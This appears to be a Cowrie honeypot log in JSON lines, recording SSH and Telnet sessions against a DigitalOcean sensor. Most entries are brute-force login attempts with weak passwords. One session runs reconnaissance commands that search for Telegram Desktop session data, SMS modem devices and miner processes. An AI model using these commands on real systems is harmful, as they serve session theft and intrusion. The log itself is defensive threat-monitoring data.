{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.226991Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.683022Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.686351Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.905071Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:09.352495Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:09.355093Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:09.568118Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:10.074591Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:10.078006Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:10.296119Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:10.754932Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:10.758652Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:11.044584Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:11.505774Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:11.508815Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:11.728909Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34068,"dst_ip":"159.203.135.109","dst_port":22,"session":"6998f79823cf","protocol":"ssh","message":"New connection: 37.143.61.84:34068 (159.203.135.109:22) [session: 6998f79823cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:14.482324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:14.486166Z","src_ip":"37.143.61.84","session":"6998f79823cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:14.584384Z","src_ip":"37.143.61.84","session":"6998f79823cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test101","password":"123456","message":"login attempt [test101/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:17.692856Z","src_ip":"37.143.61.84","session":"6998f79823cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:18.787551Z","src_ip":"37.143.61.84","session":"6998f79823cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52180,"dst_ip":"159.203.135.109","dst_port":22,"session":"b289be157a43","protocol":"ssh","message":"New connection: 159.203.92.129:52180 (159.203.135.109:22) [session: b289be157a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:48.350543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:48.355315Z","src_ip":"159.203.92.129","session":"b289be157a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:48.362758Z","src_ip":"159.203.92.129","session":"b289be157a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2","password":"2","message":"login attempt [2/2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:48.374740Z","src_ip":"159.203.92.129","session":"b289be157a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:49.381932Z","src_ip":"159.203.92.129","session":"b289be157a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"53.6","message":"Connection lost after 53.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:56.579270Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.99.110.162","src_port":58526,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bbcf0690d3","protocol":"telnet","message":"New connection: 103.99.110.162:58526 (159.203.135.109:23) [session: 90bbcf0690d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:26.131114Z"}
{"eventid":"cowrie.session.closed","duration":120.00434923171997,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:29.092374Z","src_ip":"67.128.120.127","session":"371727812a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c91792846de","protocol":"ssh","message":"New connection: 159.203.92.129:34262 (159.203.135.109:22) [session: 7c91792846de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:32.352744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:32.356920Z","src_ip":"159.203.92.129","session":"7c91792846de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:32.361569Z","src_ip":"159.203.92.129","session":"7c91792846de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"333","password":"123","message":"login attempt [333/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:32.373896Z","src_ip":"159.203.92.129","session":"7c91792846de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:33.434005Z","src_ip":"159.203.92.129","session":"7c91792846de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00543737411499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:38.032862Z","src_ip":"67.128.120.127","session":"c6003e191ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"14953c3ed702","protocol":"telnet","message":"New connection: 67.128.120.127:36252 (159.203.135.109:23) [session: 14953c3ed702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:39.284270Z"}
{"eventid":"cowrie.session.closed","duration":13.833030700683594,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:52:39.964051Z","src_ip":"103.99.110.162","session":"90bbcf0690d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44800,"dst_ip":"159.203.135.109","dst_port":22,"session":"e25653b0f4b4","protocol":"ssh","message":"New connection: 159.203.92.129:44800 (159.203.135.109:22) [session: e25653b0f4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:16.108689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:16.113724Z","src_ip":"159.203.92.129","session":"e25653b0f4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:16.118671Z","src_ip":"159.203.92.129","session":"e25653b0f4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"333","password":"123456","message":"login attempt [333/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:16.130230Z","src_ip":"159.203.92.129","session":"e25653b0f4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:17.137061Z","src_ip":"159.203.92.129","session":"e25653b0f4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d6ae272dfb","protocol":"ssh","message":"New connection: 37.143.61.84:34138 (159.203.135.109:22) [session: d2d6ae272dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:22.485880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:22.489985Z","src_ip":"37.143.61.84","session":"d2d6ae272dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:22.586097Z","src_ip":"37.143.61.84","session":"d2d6ae272dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234567890","message":"login attempt [sftpuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:23.086880Z","src_ip":"37.143.61.84","session":"d2d6ae272dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:24.280722Z","src_ip":"37.143.61.84","session":"d2d6ae272dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41876,"dst_ip":"159.203.135.109","dst_port":22,"session":"2feb1ea8f10a","protocol":"ssh","message":"New connection: 159.203.92.129:41876 (159.203.135.109:22) [session: 2feb1ea8f10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:59.516400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:59.520929Z","src_ip":"159.203.92.129","session":"2feb1ea8f10a","protocol":"ssh"}
